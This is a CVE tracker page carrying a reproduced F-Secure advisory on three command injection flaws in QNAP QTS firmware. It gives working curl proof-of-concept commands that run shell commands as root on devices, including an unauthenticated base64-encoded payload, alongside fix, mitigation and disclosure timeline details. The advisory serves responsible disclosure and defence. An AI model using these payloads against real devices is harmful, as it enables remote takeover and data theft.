CVE-2017-6359
critical
CVSS v3
9.8
CVSS v4 NEW
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VIR risk
10.0
Description
QNAP QTS before 4.2.4 Build 20170313 allows attackers to gain administrator privileges and execute arbitrary commands via unspecified vectors.
Predictions
Exploit likelihood
97%
Patch ETA
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Mitigations
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Exploits
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Exploit-DB
QNAP TVS-663 QTS < 4.2.4 build 20170313 - Command Injection
QNAP QTS multiple RCE vulnerabilities
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The latest version of this advisory is available at:
https://sintonen.fi/advisories/qnap-qts-multiple-rce-vulnerabilities.txt
Overview
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QNAP QTS firmware contains multiple Command Injection (CWE-77)
vulnerabilities that can be exploited to gain remote command execution
on the devices.
Description
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QNAP QTS web user interface CGI binaries include Command Injection
(CWE-77) vulnerabilities. An unauthenticated attacker can execute
arbitrary commands on the targeted device.
Impact
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The attacker is able to execute arbitrary commands as administrative user
(root). The attacker has full access to all content on the targeted
device, and can read, modify or remove content at will.
Details
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The discovered vulnerabilities, described in more detail below, enable
multiple independent attacks described here in brief:
- Unauthenticated Remote Command Execution
The unauthenticated attacker can perform HTTP requests that exploit
the vulnerability to execute arbitrary commands. If the device is
connected to the internet, the vulnerable devices can be taken over in
an automated fashion and can then be used for further attacks.
- Authenticated Remote Command Execution
The authenticated attacker can perform HTTP requests that exploit
the vulnerabilities to execute arbitrary commands. This gives users
that normally have only restricted access to the device full
administrative (root) access to the system and access to all data
stored on the device regardless of the specified access limitations.
Vulnerabilities
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1. [CVE-2017-6361] Command Injection in authLogin.cgi `reboot_notice_msg' (CWE-77)
/cgi-bin/authLogin.cgi CGI has a command injection bug. The
following commands are executed via system():
/sbin/vjbod_util -i '%s' 1>>/dev/null 2>&1
/sbin/vdd_control "%s" %d 2>>/dev/null 2>>/dev/null
The value inserted to %s is obtained from the `reboot_notice_msg' HTTP
request GET parameter.
The reboot_notice_msg is a base64 encoded message of form:
QNAPVJBDTTTTTTTTCCCCCCCCCCCCCCCCLLLLPAYLOAD
- TTTTTTTT is the unix time stamp (last 8 digits)
- CCCCCCCCCCCCCCCC is the command to perform (Disconnect)
- LLLL is the payload length
- PAYLOAD is the payload contents (LLLL bytes)
By creating a crafted reboot_notice_msg value, arbitrary commands
can be executed. For example:
QNAPVJBD88150863 Disconnect 14`(echo;id)>&2`
$ curl -ki "https://TARGET/cgi-bin/authLogin.cgi?reboot_notice_msg=$(printf 'QNAPVJBD%08d%16s 14`(echo;id)>&2`' $(expr $(date +%s) % 100000000) Disconnect|base64|tr -d '\r\n')"
uid=0(admin) gid=0(administrators) groups=0(administrators),100(everyone)
Content-type: text/xml
<?xml version="1.0" encoding="UTF-8" ?>
<QDocRoot version="1.0">
<command>Disconnect</command>
<payload>`(echo;id)>&2`</payload>
</QDocRoot>
$
2. [CVE-2017-6360] Command Injection in userConfig.cgi cloudPersonalSmtp `hash' (CWE-77)
/cgi-bin/userConfig.cgi CGI has a command injection bug. The following
command is executed via popen():
/sbin/cloud_util -r %s 2>/dev/null
The value inserted to %s is obtained from the `hash' HTTP request GET
parameter.
An authenticated user can use a specially crafted hash parameter to execute
arbitrary commands as root:
$ curl -ki 'https://TARGET/cgi-bin/userConfig.cgi?func=cloudPersonalSmtp&sid=SIDVALUE&hash=`(echo;id;uname%20-a)>%262`'
HTTP/1.1 200 OK
Date: Sun, 26 Feb 2017 22:55:48 GMT
Transfer-Encoding: chunked
Content-Type: text/plain
uid=0(admin) gid=0(administrators) groups=0(administrators),100(everyone)
Linux TARGET 3.12.6 #1 SMP Mon Feb 13 01:43:01 CST 2017 x86_64 unknown
Content-type: text/html; charset="UTF-8"
Usage:
/sbin/cloud_util -r [enc_token]
$
3. [CVE-2017-6359] Command Injection in utilRequest.cgi cancel_trash_recovery `pid' (CWE-77)
/cgi-bin/filemanager/utilRequest.cgi CGI has a command injection bug. The
following commands are executed via system():
/bin/kill -9 %s
The value inserted to %s is obtained from the `pid' HTTP request GET
parameter.
An authenticated user can use a specially crafted pid parameter to execute
arbitrary commands as root:
$ curl -k 'https://TARGET/cgi-bin/filemanager/utilRequest.cgi?func=cancel_trash_recovery&sid=SIDVALUE&pid=`id>/tmp/pwned`'
{ "version": "4.2.1", "build": "20170213", "status": 0, "success": "true" }
[~] # cat /tmp/pwned
uid=0(admin) gid=0(administrators) groups=0(administrators),100(everyone)
[~] #
Vulnerable devices
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The vulnerabilities were discovered from an QNAP TVS-663, firmware version
4.2.2 Build 20161214. They're also confirmed to work with version 4.2.3
Build 20170213.
CVE-2017-6361 was also confirmed on QNAP HS-251+ running QTS 4.2.2 Build
20161028.
It is believed that these vulnerabilities affect all devices running QTS.
Recommendations to vendor
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1. Fix the command injection vulnerabilities by performing proper input
validation (whitelisting) and/or shell metacharacter escaping, or by
utilizing execl family of functions.
End user mitigation
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- Install the firmware update version 4.2.4 build 20170313 or later.
OR
- Restrict access to the web user interface (ports 8080 and 443).
Credits
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The vulnerabilities were discovered by Harry Sintonen / F-Secure Corporation.
Timeline
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21.01.2017 discovered vulnerabilities 2 and 3
23.02.2017 discovered vulnerability 1
23.02.2017 reported vulnerability 1 to the vendor
26.02.2017 started to write a preliminary advisory
27.02.2017 sent the preliminary advisory to vendor and CERT-FI
27.02.2017 requested CVE-IDs from MITRE
28.02.2017 received CVE-IDs from MITRE
02.03.2017 inquired status from vendor contact
02.03.2017 vendor confirmed CVE-2017-6361
04.03.2017 vendor confirmed the other two vulnerabilities
13.03.2017 vendor communicated about a upcoming release fixing the vulns
14.03.2017 vendor released QTS 4.2.4 build 20170313 fixing the vulns
15.03.2017 sent update to CERT-FI
21.03.2017 vendor released NAS-201703-21 advisory:
https://www.qnap.com/en/support/con_show.php?cid=113
06.04.2017 public release of the advisory References
- http://www.securityfocus.com/bid/97059
- http://www.securityfocus.com/bid/97072
- http://www.securitytracker.com/id/1038091
- https://www.exploit-db.com/exploits/41842/
- https://www.qnap.com/en-us/releasenotes/
- https://www.qnap.com/en/support/con_show.php?cid=113
- http://www.securityfocus.com/bid/97059
- http://www.securityfocus.com/bid/97072
- http://www.securitytracker.com/id/1038091
- https://www.exploit-db.com/exploits/41842/
- https://www.qnap.com/en-us/releasenotes/
- https://www.qnap.com/en/support/con_show.php?cid=113
CWEs
CWE-78
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Verify integrity in audit chain (admin only). AS-IS.